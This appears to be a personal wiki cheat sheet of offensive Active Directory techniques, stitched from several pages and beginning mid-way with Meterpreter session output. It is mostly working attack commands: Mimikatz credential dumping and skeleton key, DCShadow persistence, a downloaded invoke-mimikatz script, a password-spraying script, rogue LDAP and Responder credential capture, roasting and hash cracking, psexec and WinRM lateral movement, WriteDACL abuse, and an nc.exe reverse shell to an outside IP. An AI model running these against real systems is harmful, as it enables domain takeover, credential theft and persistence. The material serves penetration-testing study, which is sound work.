Microsoft Windows [Version 10.0.17763.737]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami
corp1\h4x

# Meterpreter shell using run.txt
msf6 exploit(multi/handler) > run
[*] Meterpreter session 2 opened (192.168.45.169:443 -> 192.168.174.80:63561) at 2023-10-11 15:24:53 -0400
meterpreter > getuid
Server username: CORP1\h4x
meterpreter > sysinfo
Computer : DC01
OS : Windows 2016+ (10.0 Build 17763).
Architecture : x64
System Language : en_US
Domain : CORP2
Logged On Users : 16
Meterpreter : x64/windows
meterpreter >
</syntaxhighlight>

== Silver Ticket ==

== AdminSDHolder Group ==

== DSRM Credentials ==

== ACL Persistence ==

== Security Descriptors ==

== Skelton Key ==

<syntaxhighlight lang="bash">
Run from DC. Enables password “mimikatz” for all users.
privilege::debug
misc::skeleton
</syntaxhighlight>

== Custom SSP ==

== DCShadow ==

[https://0x4rt3mis.github.io/posts/OSEP-Cheat-Sheet/#dcshadow OSEP Cheat Sheet | 0x4rt3mis]

DCShadow is an attack that masks certain actions by temporarily imitating a Domain Controller. If you have Domain Admin or Enterprise Admin privileges in a root domain, it can be used for forest-level persistence.

Optionally, as Domain Admin, give a chosen user the privileges required for the DCShadow attack (uses <code>Set-DCShadowPermissions.ps1</code> cmdlet).

<syntaxhighlight lang="powershell">
Set-DCShadowPermissions -FakeDC BackdoorMachine -SamAccountName TargetUser -Username BackdoorUser -Verbose
</syntaxhighlight>

Then, from any machine, use Mimikatz to stage the DCShadow attack.

<syntaxhighlight lang="bash">
# Set SPN for user
lsadump::dcshadow /object:TargetUser /attribute:servicePrincipalName /value:"SuperHacker/ServicePrincipalThingey"
# Set SID History for user (effectively granting them Enterprise Admin rights)
lsadump::dcshadow /object:TargetUser /attribute:SIDHistory /value:S-1-5-21-280534878-1496970234-700767426-519
# Set Full Control permissions on AdminSDHolder container for user
## Requires retrieval of current ACL:
(New-Object System.DirectoryServices.DirectoryEntry("LDAP://CN=AdminSDHolder,CN=System,DC=targetdomain,DC=com")).psbase.ObjectSecurity.sddl
## Then get target user SID:
Get-NetUser -UserName BackdoorUser | select objectsid
## Finally, add full control primitive (A;;CCDCLCSWRPWPLOCRRCWDWO;;;[SID]) for user
lsadump::dcshadow /object:CN=AdminSDHolder,CN=System,DC=targetdomain,DC=com /attribute:ntSecurityDescriptor /value:O:DAG:DAD:PAI(A;;LCRPLORC;;;AU)[...currentACL...](A;;CCDCLCSWRPWPLOCRRCWDWO;;;<nowiki>[[S-1-5-21-1874506631-3219952063-538504511-45109]]</nowiki>)
</syntaxhighlight>

Finally, from either a DA session OR a session as the user provided with the DCShadow permissions before, run the DCShadow attack. Actions staged previously will be performed without leaving any logs.

<syntaxhighlight lang="bash">
lsadump::dcshadow /push
</syntaxhighlight>

= You got domain admin, now what =

[https://infosecwriteups.com/you-got-domain-admin-now-what-aab749c4200d You got Domain Admin, now what?. Typically when you’re starting out on… | by Jevon Davis | InfoSec Write-ups (infosecwriteups.com)]

[https://blog.aghanim.net/wp-content/uploads/2023/06/You-got-Domain-Admin-now-what_-InfoSec-Write-ups.html You-got-Domain-Admin-now-what_-InfoSec-Write-ups][https://blog.aghanim.net/wp-content/uploads/2023/06/You-got-Domain-Admin-now-what_-InfoSec-Write-ups.html Download]
[[Category:Offensive Security]]

Offensive Security/Active Directory

2026-06-11T08:28:52Z

Administrator: /* Pivoting */

[[File:2022-06-13-132814_active-directory-logo-hd-png-download.png|thumb]]

These are my notes from the Active Directory networks at TryHackMe, as well as notes from other sources.

Inspo:

<syntaxhighlight lang="bash">
https://0x4rt3mis.github.io/posts/OSEP-Cheat-Sheet/
E's methodology
https://zer1t0.gitlab.io/posts/attacking_ad/
https://bitbin.it/SKZrPTcu/
https://book.hacktricks.xyz/windows-hardening/active-directory-methodology
https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet
https://book.hacktricks.xyz/windows-hardening/basic-powershell-for-pentesters/powerview
https://book.hacktricks.xyz/
</syntaxhighlight>

'''Work in progress'''

= References Matrix =

[https://www.secureauth.com/labs/open-source-tools/impacket/ Impacket – SecureAuth]

{| class="wikitable"
|-
! Name
! Explanation
! Tools/attack example
|-
| Unconstrained delegation
| Allows a service to delegate user credentials to any service on any computer.
| Exploiting unconstrained delegation involves accessing services running with SYSTEM or higher privileges.
|-
| Constrained delegation
| Allows delegation only to specific services.
| Attacking constrained delegation involves accessing specified services, using tools like Rubeus to exploit TGTs.
|-
| Resource-based constrained delegation
| Delegation rights are set on the resource's ACL, allowing greater flexibility in specifying delegation.
| Using Rubeus or similar tools to manipulate resource ACLs for privilege escalation.
|-
| mimikatz.exe
| Dump hashes and credentials from memory.
| mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit
|-
| invoke-mimikatz
| PowerShell version of mimikatz.
| `(New-Object System.Net.WebClient).DownloadString('[http://192.168.119.120/mimikatz.txt http://192.168.119.120/mimikatz.txt]')
|-
| invoke-mimidogz
| Obfuscated version of invoke-mimikatz to avoid AV detection.
| GitHub – fir3d0g/mimidogz: Rewrite of Invoke-Mimikatz.ps1 to avoid AV detection
|-
| invoke-sohighsohigh
| One Shot for Mimikatz PowerShell Dump All Creds with AMSI Bypass 2022 Edition.
| Invoke-OneShot-Mimikatz.ps1 – One Shot for Mimikatz PowerShell Dump All Creds with AMSI Bypass 2022 Edition (Tested and worked on Windows 10 x64 patched 2022-03-26)
|-
| SpoolSample.exe
| Coerce a computer to make an authentication in order to abuse print bug.
| Exploiting the print spooler bug using SpoolSample.exe to force authentication and capture credentials.
|-
| rubeus.exe
| Kerberos interaction and abuse tool, supporting pass-the-ticket, overpass-the-hash, ticket extraction, etc.
| Rubeus.exe tgtdeleg /user:username /rc4:hash /domain:domain /sid:sid /target:target /nowrap
|-
| impacket-secretsdump
| Dump secrets from a remote machine's registry hives.
| secretsdump.py domain/user:password@target
|-
| impacket-krbrelayx
| Tool for relaying Kerberos authentication.
| krbrelayx.py -h to see usage and examples for relaying Kerberos tickets.
|-
| impacket-mssql
| SQL server attack tool, capable of executing commands and dumping credentials.
| impacket-mssql domain/user:pass@target -windows-auth (use -windows-auth for Windows authentication).
|-
| impacket-ticketconverter
| Converts kirbi files (used by mimikatz) into ccache files (used by Impacket) and vice versa.
| ticketConverter.py <inputfile> <outputfile> to convert between kirbi and ccache formats.
|-
| ticketer.py
| Creates Golden/Silver tickets allowing customization of parameters like groups, ExtraSids, duration, etc.
| ticketer.py -nthash <nthash> -domain-sid <sid> -domain <domain> -user <username>
|-
| setSPN
| Set Service Principal Names for accounts to allow Kerberos authentication.
| setspn -A <SPN> <Account>
|-
| LOLBas
| Living Off The Land Binaries and Scripts – using built-in Windows tools for malicious purposes.
| Utilizing regsvr32.exe, mshta.exe, or other built-in tools for executing malicious payloads without dropping binaries.
|-
| gtfobins
| Repository of Unix binaries that can be used to bypass local security restrictions.
| Using cp, vim, or other listed Unix binaries to escalate privileges or maintain persistence.
|}

----

= LOLBAS - Living off the land =

[https://lolbas-project.github.io/ https://lolbas-project.github.io/]

= WADComs - Very useful cheatsheet =

https://wadcoms.github.io/

= Icebreaker =

[https://github.com/DanMcInerney/icebreaker GitHub - DanMcInerney/icebreaker: Gets plaintext Active Directory credentials if you're on the internal network but outside the AD environment]

----

= AD Methodology =

* First step is to find valid credentials, that could either be a username, hashes or if lucky, username and password.

* Once you have access to target, enumerate AD. Relations between users, groups. Use BloodHound etc.

* Escalate privilege on local machine to local administrator

* Extract hashes if possile.

* Escalate to domain admin.

[[File:2022-07-image.png|thumb]]

----

= Mindmap - Current 2025 =

[https://orange-cyberdefense.github.io/ocd-mindmaps/img/mindmap_ad_dark_classic_2025.03.excalidraw.svg orange-cyberdefense.github.io/ocd-mindmaps/img/mindmap_ad_dark_classic_2025.03.excalidraw.svg]

[https://book.ghanim.no/wp-content/uploads/2022/06/mindmap_ad_dark_classic_2025.03.excalidraw.svg mindmap_ad_dark_classic_2025.03.excalidraw][https://book.ghanim.no/wp-content/uploads/2022/06/mindmap_ad_dark_classic_2025.03.excalidraw.svg Download]

= Mindmap - Nr 2 =

[https://tajdini.net/blog/penetration/active-directory-penetration-mind-map/ https://tajdini.net/blog/penetration/active-directory-penetration-mind-map/]

[https://blog.aghanim.net/wp-content/uploads/2023/01/Active-Directory-Penetration-Manual.pdf Active-Directory-Penetration-Manual][https://blog.aghanim.net/wp-content/uploads/2023/01/Active-Directory-Penetration-Manual.pdf Download]

= Mindmap - Nr 3 =

[https://orange-cyberdefense.github.io/ocd-mindmaps/img/pentest_ad_dark_2023_02.svg orange-cyberdefense.github.io/ocd-mindmaps/img/pentest_ad_dark_2023_02.svg]

[[File:2023-11-pentest_ad_dark_2023_02-1.svg|thumb]]

[https://book.ghanim.no/wp-content/uploads/2023/11/pentest_ad_dark_2023_02.svg pentest_ad_dark_2023_02][https://book.ghanim.no/wp-content/uploads/2023/11/pentest_ad_dark_2023_02.svg Download]

= Active Directory Theory =

== Object Permission (ACE, DACL, SIDs...) ==

* '''Active Directory Securable Object Permissions''': Determines who can access an AD object and what they can do with it.

* '''Discretionary Access Control List''' (DACL): Controls access to an object. Comprises a series of Access Control Entries (ACE).

* '''Access Control Entry''' (ACE): Each ACE defines whether access to the object is allowed or denied, the entity it applies to, and the type of access.

* '''Order of ACEs:''' If a deny ACE precedes an allow ACE, the deny takes precedence (first match principle).

* '''Security Descriptor Definition Language''' (SDDL): A string-delimited method by which ACEs are stored.

'''ACE String Example'''

<code>(A;;RPWPCCDCLCSWRCWDWOGA;;;S-1-1-0)</code>

'''Translation:'''

<code>AceType: A = ACCESS_ALLOWED_ACE_TYPE</code>

'''Access rights:'''

<syntaxhighlight lang="bash">
RP = ADS_RIGHT_DS_READ_PROP
WP = ADS_RIGHT_DS_WRITE_PROP
CC = ADS_RIGHT_DS_CREATE_CHILD
DC = ADS_RIGHT_DS_DELETE_CHILD
LC = ADS_RIGHT_ACTRL_DS_LIST
SW = ADS_RIGHT_DS_SELF
RC = READ_CONTROL
WD = WRITE_DAC
WO = WRITE_OWNER
GA = GENERIC_ALL
Ace Sid: S-1-1-0
</syntaxhighlight>

'''DACL Enumeration via PowerView'''

* To Import PowerView in PowerShell:

<code>PS C:\tools> . .\powerview.ps1</code>

'''To Enumerate DACLs of a User (e.g., offsec):'''

<code>PS C:\tools> Get-ObjectAcl -Identity offsec</code>

'''To Resolve SID to a Username or Group:'''

<code>PS C:\tools> ConvertFrom-SID <SID></code>

'''Automating SID Conversion:'''

<code>PS C:\tools> Get-ObjectAcl -Identity offsec -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_}</code>

== Kerberos ==

=== Kerberos Authentication graph ===

[https://narekkay.fr/linkedin/kerberos.gif kerberos.gif (1080×1564) (narekkay.fr)]

[[File:2023-10-kerberos-1.gif|thumb]]

'''Background'''

* Kerberos: A network authentication protocol that provides strong authentication for client-server applications.

* Main Issue: Kerberos double-hop – The inability to pass authentication from one server to another server on behalf of the user.

=== Microsoft’s Kerberos Delegation Solutions ===

'''a) Unconstrained Delegation (2000):'''

* Overview: Allows the service to impersonate a user to any other service.

* '''Pros:'''
Simple to implement.

* '''Cons:'''
Less secure: Any service can impersonate the user without restriction.

'''b) Constrained Delegation (2003)'''

* Overview: Allows the service to impersonate a user, but only to specified services.

* '''Pros:'''
More secure than unconstrained as it limits the services to which a user can be impersonated.

* '''Cons:'''
Requires service-specific configuration.

'''c) Resource-based Constrained Delegation (2012)'''

* Overview: Extension of constrained delegation, allows the target service to define who can delegate to it.

* Requirements: Domain functional level of 2012.

* '''Pros:'''
Greater control over which accounts can impersonate users to it.

* '''Cons:'''
Requires a newer domain functional level.

=== Exploiting Kerberos Delegation: ===

'''Unconstrained Delegation Exploitation:'''

* Unconstrained delegation is a feature in Kerberos that allows a service to impersonate a user to any other service. While this might be useful in scenarios like multi-tier applications, it can pose significant security risks if misconfigured or abused.

'''Constrained Delegation Exploitation:'''

* Constrained delegation is a feature in the Kerberos authentication protocol that permits a service to impersonate a user to a specified set of services, as opposed to any service.

'''Resource-based Constrained Delegation Exploitation:'''

* Resource-based constrained delegation (RBCD) is an extension of constrained delegation, providing a more granular level of control over delegation permissions. In RBCD, the permissions for delegation are set on the resources (services) themselves, specifying which services (or servers) are allowed to impersonate users to them.

=== Difference between ASREProast and Kerberoasting ===

[https://luemmelsec.github.io/Kerberoasting-VS-AS-REP-Roasting/ https://luemmelsec.github.io/Kerberoasting-VS-AS-REP-Roasting/]

'''AS_REP Roasting''' is taking place during the initial authentication procedure within Kerberos. It´s abusing the fact, that for accounts with the option '''Do not require Kerberos preauthentication''' set, there is no need to send the (normally required) encrypted timestamp (with the users password hash) at the very beginning. Thus everyone on the network who knows the name of an affected account may ask the '''KDC''' to authenticate as that user and in return fetch a '''AS_REP''' response which partly is encrypted with the AS_REP roastable account´s password hash. Once obtained, an attacker can try to offline crack the hash and fetch the cleartext credentials.

'''Kerberoasting''' aims at asking for service tickets related to services on the network where the '''SPNs''' are tied to user accounts, rather than computer accounts. The background here is that if a person creates a user he will choose the password most likely according to human standards i.e. a phrase, a word mixed with numbers, etc. If that password is weakly chosen, then it is possible to crack the hash and get the cleartext credentials.
During the process of asking to access a service on the network, the '''TGS''' will send a data package that contains a service ticket which is encrypted with the service-account´s password hash, that again like in the '''AS_REP roasting''' attack can be cracked offline.

= Finding valid credentials =

== Pentest network ==

See [https://blog.aghanim.net/?page_id=2041 methodology]

* Try exploit vulnerabilities on open ports

* Try extract credentials from open ports

== Enumerate DNS ==

<syntaxhighlight lang="bash">
gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt
</syntaxhighlight>

== OSINT and Phishing ==

* Check public forums like [https://stackoverflow.com/ Stack Overflow]

* Check public repo on github

* Breached credentials. (Dehashed, intelx etc)

* Google dorking

== Null and Guest access on SMB services ==

<syntaxhighlight lang="bash">
enum4linux -a -u "" -p "" && enum4linux -a -u "guest" -p ""
smbmap -u "" -p "" -P 445 -H && smbmap -u "guest" -p "" -P 445 -H
smbclient -U '%' -L // && smbclient -U 'guest%' -L //
</syntaxhighlight>

== NTLM Relay attack ==

NTLM relay is a technique that allows an attacker to intercept and forward NTLM authentication requests between a client and a server. The attacker can use this technique to gain access to the server or perform other actions on behalf of the client. For example, an attacker can use NTLM relay to dump the hashes of all domain users from a domain controller using DCSYNC.

Example: an attacker could use PetitPotam to force a domain controller to authenticate to a malicious server and then relay the NTLM request to another domain controller and perform a DCSync operation, which allows the attacker to dump all the password hashes from Active Directory. This could result in a complete takeover of the Windows domain.

<syntaxhighlight lang="bash">
https://github.com/fortra/impacket/blob/master/examples/ntlmrelayx.py
This module performs the SMB Relay attacks originally discovered by cDc extended to many target protocols (SMB, MSSQL, LDAP, etc).
It receives a list of targets and for every connection received it will choose the next target and try to relay the credentials. Also, if specified, it will first to try authenticate against the client connecting to us.
It is implemented by invoking a SMB and HTTP Server

https://github.com/CCob/lsarelayx
lsarelayx is system wide NTLM relay tool designed to relay incoming NTLM based authentication to the host it is running on. lsarelayx will relay any incoming authentication request which includes SMB.

https://github.com/topotam/PetitPotam
PetitPotam is a technique that can be used to perform NTLM relay attacks against Windows servers, including domain controllers.

https://0xdf.gitlab.io/2019/01/13/getting-net-ntlm-hases-from-windows.html
Good explanation of NTLM relay.
</syntaxhighlight>

== NTLM Authenticated Services ==

New Technology LAN Manager (NTLM) is the suite of security protocols used to authenticate users' identities in AD.

<syntaxhighlight lang="python">
def password_spray(self, password, url):
print ("[*] Starting passwords spray attack using the following password: " + password)
#Reset valid credential counter
count = 0
#Iterate through all of the possible usernames
for user in self.users:
#Make a request to the website and attempt Windows Authentication
response = requests.get(url, auth=HttpNtlmAuth(self.fqdn + "\\" + user, password))
#Read status code of response to determine if authentication was successful
if (response.status_code == self.HTTP_AUTH_SUCCEED_CODE):
print ("[+] Valid credential pair found! Username: " + user + " Password: " + password)
count += 1
continue
if (self.verbose):
if (response.status_code == self.HTTP_AUTH_FAILED_CODE):
print ("[-] Failed login with Username: " + user)
print ("[*] Password spray attack completed, " + str(count) + " valid credential pairs found")
</syntaxhighlight>

<syntaxhighlight lang="bash">
python ntlm_passwordspray.py -u -f -p -a
- Textfile containing our usernames - "usernames.txt"
- Fully qualified domain name associated with the organisation that we are attacking - "za.tryhackme.com"
- The password we want to use for our spraying attack - "Changeme123"
- The URL of the application that supports Windows Authentication - "http://ntlmauth.za.tryhackme.com"
</syntaxhighlight>

== LDAP ==

See [https://blog.aghanim.net/?page_id=1809#389_636_3268_3269_-_LDAP cheatsheet LDAP]

LDAP authentication is similar to NTLM authentication. However, with LDAP authentication, the application directly verifies the user's credentials. The application has a pair of AD credentials that it can use first to query LDAP and then verify the AD user's credentials.

<syntaxhighlight lang="bash">
nmap -n -sV --script "ldap* and not brute" -p 389
</syntaxhighlight>

<syntaxhighlight lang="bash">
ldapsearch -x -h 192.168.89.122 -b "dc=hutch,dc=offsec" > ldap.searchquery
</syntaxhighlight>

=== LDAP Pass-back Attack ===

In an LDAP Pass-back attack, we can modify this IP to our IP and then test the LDAP configuration, which will force the device to attempt LDAP authentication to our rogue device.

<syntaxhighlight lang="bash">
# Setup rogue LDAP server
sudo apt-get update && sudo apt-get -y install slapd ldap-utils && sudo systemctl enable slapd
# Configure the rogue LDAP server
sudo dpkg-reconfigure -p low slapd
# Make rogue LDAP server vulnerable by downgrading the supporten authentication mechanism. Add this to a file called "olcSalSecProps.ldif":
#olcSaslSecProps.ldif
dn: cn=config
replace: olcSaslSecProps
olcSaslSecProps: noanonymous,minssf=0,passcred

olcSaslSecProps: Specifies the SASL security properties
noanonymous: Disables mechanisms that support anonymous login
minssf: Specifies the minimum acceptable security strength with 0, meaning no protection.
# Now we can use the ldif file to patch our LDAP server using the following:
sudo ldapmodify -Y EXTERNAL -H ldapi:// -f ./olcSaslSecProps.ldif && sudo service slapd restart
# Verify rogue LDAP servers config
[kali@kali]$ ldapsearch -H ldap:// -x -LLL -s base -b "" supportedSASLMechanisms
dn:
supportedSASLMechanisms: PLAIN
supportedSASLMechanisms: LOGIN
</syntaxhighlight>

<syntaxhighlight lang="bash">
# Capturing LDAP Credentials. We will have to trigger the authenticaiton to go to our rogue LDAP server.
sudo tcpdump -SX -i eth0 tcp port 389
</syntaxhighlight>

== Authentication Relays ==

Responder allows us to perform Man-in-the-Middle attacks by poisoning the responses during NetNTLM authentication, tricking the client into talking to you instead of the actual server they wanted to connect to. On a real LAN, Responder will attempt to poison any Link-Local Multicast Name Resolution (LLMNR), NetBIOS Name Servier (NBT-NS), and Web Proxy Auto-Discovery (WPAD) requests that are detected.

<syntaxhighlight lang="bash">
# https://github.com/lgandx/Responder
# Start responder
sudo responder -I tun0
# Downgrade NTLM authentication when possible. Allow capture NTLMv1 challenge and response.
#Remember that in order to crack NTLMv1 you need to set Responder challenge to "1122334455667788"
responder -I --lm --disable-ess #Downgrade NTLM authntication if possible and force ESS downgrade
</syntaxhighlight>

== Microsoft Deployment Toolkit ==

Microsoft Deployment Toolkit (MDT) is a Microsoft service that assists with automating the deployment of Microsoft Operating Systems (OS).

<syntaxhighlight lang="powershell">
Import-Module .\PowerPXE.ps1
$BCDFile = "conf.bcd"
Get-WimFile -bcdFile $BCDFile
Get-FindCredentials -WimFile pxeboot.wim
</syntaxhighlight>

----

----

= User enumeration =

When an '''invalid username is requested''' the server will respond using the '''Kerberos error''' code ''KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN''

<syntaxhighlight lang="bash">
./kerbrute_linux_amd64 userenum -d lab.ropnop.com usernames.txt
nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='DOMAIN'"
Nmap -p 88 --script=krb5-enum-users --script-args krb5-enum-users.realm='',userdb=/root/Desktop/usernames.txt
msf> use auxiliary/gather/kerberos_enumusers
crackmapexec smb dominio.es -u '' -p '' --users | awk '{print $4}' | uniq
nxc smb dc01.manager.htb -u anonymous -p "" --rid-brute 10000
</syntaxhighlight>

== Knowing a userame(s) ==

=== ASREPRoast ===

The ASREPRoast attack looks for '''users without Kerberos pre-authentication required attribute ('''[https://support.microsoft.com/en-us/help/305144/how-to-use-the-useraccountcontrol-flags-to-manipulate-user-account-pro DONT_REQ_PREAUTH]''''')'''''.

[https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/asreproast https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/asreproast]

That means that anyone can send an AS_REQ request to the DC on behalf of any of those users, and receive an AS_REP message. This last kind of message contains a chunk of data encrypted with the original user key, derived from its password. Then, by using this message, the user password could be cracked offline.

<syntaxhighlight lang="bash">
# ENUMERATE VULNERABLE USERS (NEED DOMAIN CREDS)
Get-DomainUser -PreauthNotRequired -verbose #List vuln users using PowerView
------------------------------------------------------------------------
# REQUEST AS_REP MESSAGE
# Linux
# Try all the usernames in usernames.txt
python GetNPUsers.py jurassic.park/ -usersfile usernames.txt -format hashcat -outputfile hashes.asreproast
# Use domain creds to extract targets and target them
python GetNPUsers.py jurassic.park/triceratops:Sh4rpH0rns -request -format hashcat -outputfile hashes.asreproast
# Windows
.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.asreproast
Get-ASREPHash -Username VPN114user -verbose #From ASREPRoast.ps1 (https://github.com/HarmJ0y/ASREPRoast)
------------------------------------------------------------------------
# Cracking the hashes
john --wordlist=passwords_kerb.txt hashes.asreproast
hashcat -m 18200 --force -a 0 hashes.asreproast passwords_kerb.txt
------------------------------------------------------------------------
# PERSISTENCE
# Force preauth not required for a user where you have GenericAll permissions (or permissions to write properties):
Set-DomainObject -Identity -XOR @{useraccountcontrol=4194304} -Verbose
</syntaxhighlight>

=== Password spraying ===

[https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/password-spraying https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/password-spraying]

Lists of common usernames could also be useful: [https://github.com/insidetrust/statistically-likely-usernames https://github.com/insidetrust/statistically-likely-usernames]

<syntaxhighlight lang="bash">
# PASSWORD POLICY
# Need valid creds
crackmapexec -u 'user' -p 'password' --pass-pol
enum4linx -u 'username' -p 'password' -P
(Get-DomainPolicy)."SystemAccess" #From powerview
------------------------------------------------------------------------
# LOCKOUT CHECK
# https://github.com/Greenwolf/Spray
# To prevent lockout it's best not to try with more than 5/7 passwords per account.
spray.sh -smb
------------------------------------------------------------------------
# PASSWORD SPRAYING
crackmapexec smb -u users.txt -p passwords.txt
## Successor to crackmapexec
nxc smb -u users.txt -p passwords.txt [-H hashes.txt]
./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com domain_users.txt Password123
./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com passwords.lst thoffman
# with a list of users
.\Rubeus.exe brute /users: /passwords: /domain: /outfile:
# check passwords for all users in current domain
.\Rubeus.exe brute /passwords: /outfile:
------------------------------------------------------------------------
# Crack hash
john --wordlist=passwords_kerb.txt hashes.asreproast
hashcat -m 18200 --force -a 0 hashes.asreproast passwords_kerb.txt
------------------------------------------------------------------------
# Powershell passwordspraying script
https://github.com/dafthack/MSOLSpray
Import-Module MSOLSpray.ps1
Invoke-MSOLSpray -UserList .\userlist.txt -Password Winter2020
</syntaxhighlight>

----

= Enumerating Active Directory with valid credentials/session =

== Shell with credentials ==

If you have valid credentials you could try to get a shell.

To get shell with Administrator user and not with NT Authority\system, use WinExec or Evil-Winrm

<syntaxhighlight lang="bash">
# CrackMapExec
# Validate if credentials found is valide, and which protocol you can use to get a shell. {ssh,smb,mssql,winrm,ldap} Notice Pwn3d! with creds enox:california
crackmapexec winrm 192.168.204.165 -u enox -p california
WINRM 192.168.204.165 5985 NONE [+] None\enox:california (Pwn3d!)
# Can also be used to brute force
crackmapexec -u ~/file_containing_usernames -p ~/file_containing_passwords
crackmapexec -u ~/file_containing_usernames -H ~/file_containing_ntlm_hashes

# SSH - Port 22
# If SSH is open try to SSH to target
ssh user@target [-i id_rsa]

# WinRM - Port 5895, 5896
# If port 5985,5986 is open, try Evil-Winrm
gem install evil-winrm
evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i /
evil-winrm -u Administrator -H 'Use_hash_here' -i /
winrs.exe -u:Administrator -p:Mypass123 -r:target cmd

# PTH-winexe
Basic syntax w/ credentials.
winexe -U % // cmd.exe
Basic syntax w/ NTLM hash (pass the hash technique).
pth-winexe -U % // cmd.exe

# RDP - Port 3389
xrdp target
remmina
rdesktop target

# PSExec & SMBExec - Port 445
# Both options will create a new service (using \pipe\svcctl via SMB) in the victim machine and use it to execute something (psexec will upload an executable file to ADMIN$ share and smbexec will point to cmd.exe/powershell.exe and put in the arguments the payload --file-less technique--).
# If no password is provided, it will be prompted
./psexec.py [[domain/]username[:password]@]
./psexec.py -hashes administrator@10.10.10.103 #Pass-the-Hash
psexec \\192.168.122.66 -u Administrator -p 123456Ww
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
# From sysinternals
PsExec.exe -i -u domain\user cmd.exe
# PSExec with Powershel
$username = 'Administrator';
$password = 'Mypass123';
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;
Enter-PSSession -Computername TARGET -Credential $credential
# If there is a config file, use -ConfigruationName
Enter-PSSession -ComputerName TARGET -ConfigurationName CONFIG_NAME
# Powershell also includes the Invoke-Command cmdlet, which runs ScriptBlocks remotely via WinRM. Credentials must be passed through a PSCredential object as well:
Invoke-Command -Computername TARGET -Credential $credential -ScriptBlock {whoami}

# Remotely creat services using sc - port 135,445,139
sc.exe \\TARGET create AGservice binPath= "net user test test123 /add" start= auto
sc.exe \\TARGET start AGservice
# Stop or delete service
sc.exe \\TARGET stop AGservice
sc.exe \\TARGET delete AGservice

# Creating scheduled tasks remotely
schtasks /s TARGET /RU "SYSTEM" /create /tn "AGtask1" /tr "" /sc ONCE /sd 01/01/1970 /st 00:00
schtasks /s TARGET /run /TN "AGtask1"
# /sc - Task will only run once. Starting date and time dosent matter because of this.

</syntaxhighlight>

== Shell - Changing user if you have a shell ==

<syntaxhighlight lang="bash">
# If you have a shell as a user, most likely runas command wont work because we cant type our password when prompted with typing our password. There are some tools you can try.
# Invoke-RunasCs.exe
# https://github.com/antonioCoco/RunasCs
.\RunasCs_net4.exe svc_mssql trustno1 cmd.exe -r 192.168.49.199:443

# RunAsUser.exe
# https://github.com/atthacks/RunAsUser
RunAsUser.exe -u superadmin -p funnyhtb -f c:\users\public\nc.exe -a '10.10.14.12 9001 -e cmd.exe'

# Try writing a ps1 script to use runas command
# cat runme.ps1
$secpasswd = ConvertTo-SecureString "trustno1" -AsPlainText -Force
$mycreds = New-Object System.Management.Automation.PSCredential ("svc_msssql", $secpasswd)
$computer = "access.offsec"
[System.Diagnostics.Process]::Start("C:\xampp\htdocs\uploads\shell.exe","", $mycreds.Username, $mycreds.Password, $computer)
# or
$creds = New-Object System.Management.Automation.PSCredential ("example.com\tan", (ConvertTo-SecureString "Password" -AsPlainText -Force))
Get-DomainUser -Credential $creds
# Abusing WriteDACL
# What is WriteDACL?
## It's an access right that grants permission to modify the Discretionary Access Control List (DACL) of Active Directory objects.
# See also this for more attack path
https://www.thehacker.recipes/ad/movement/dacl/grant-rights
# To identify user accounts that are potentially misconfigured, you can use Get-DomainUser and Get-ObjectAcl:
PS C:\tools> Get-DomainUser | Get-ObjectAcl -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} | Foreach-Object {if ($_.Identity -eq "$env:UserDomain\$env:Username") {$_}}
# With WriteDACL rights, an attacker can modify access rights of an AD object. The example provided demonstrates adding the GenericAll right:
PS C:\tools> Add-DomainObjectAcl -TargetIdentity testservice2 -PrincipalIdentity offsec -Rights All
# To verify that the GenericAll right is set on testservice2 we can enumerate. And after that change the password as we did above:
PS C:\tools> Get-ObjectAcl -Identity testservice2 -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} | Foreach-Object {if ($_.Identity -eq "$env:UserDomain\$env:Username") {$_}}

# Anoter Example of Abusing WriteDACL
# User have WriteDACL rights on mailadmins. We can modify our rights to get GenericAll on the group
$SecPassword = ConvertTo-SecureString 'test' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('user1', $SecPassword)
Add-DomainObjectAcl -Credential $Cred -TargetIdentity "Mailadmins" -PrincipalIdentity user1-Rights All
# Now we can add ourselvs to the group by using PowerViews
Add-DomainGroupMember -Identity "mailadmins" -Members sqlsvc -Credential $Cred
</syntaxhighlight>

== Basic commands ==

=== CMD ===

<syntaxhighlight lang="bash">
# https://book.hacktricks.xyz/windows-hardening/basic-cmd-for-pentesters#domain-info
# DOMAIN INFO
echo %USERDOMAIN% #Get domain name
echo %USERDNSDOMAIN% #Get domain name
echo %logonserver% #Get name of the domain controller
set logonserver #Get name of the domain controller
set log #Get name of the domain controller
net groups /domain #List of domain groups
net group "domain computers" /domain #List of PCs connected to the domain
net view /domain #Lis of PCs of the domain
nltest /dclist: #List domain controllers
net group "Domain Controllers" /domain #List PC accounts of domains controllers
net group "Domain Admins" /domain #List users with domain admin privileges
net localgroup administrators /domain #List uses that belongs to the administrators group inside the domain (the grup "Domain Admins" is included here)
net user /domain #List all users of the domain
net user /domain #Get information about that user
net accounts /domain #Password and lockout policy
nltest /domain_trust #Mapping of the trust relationships.
------------------------------------------------------------------------
# USERS
whoami /all #All info about me, take a look at the enabled tokens
whoami /priv #Show only privileges
net users #All users
dir /b /ad "C:\Users"
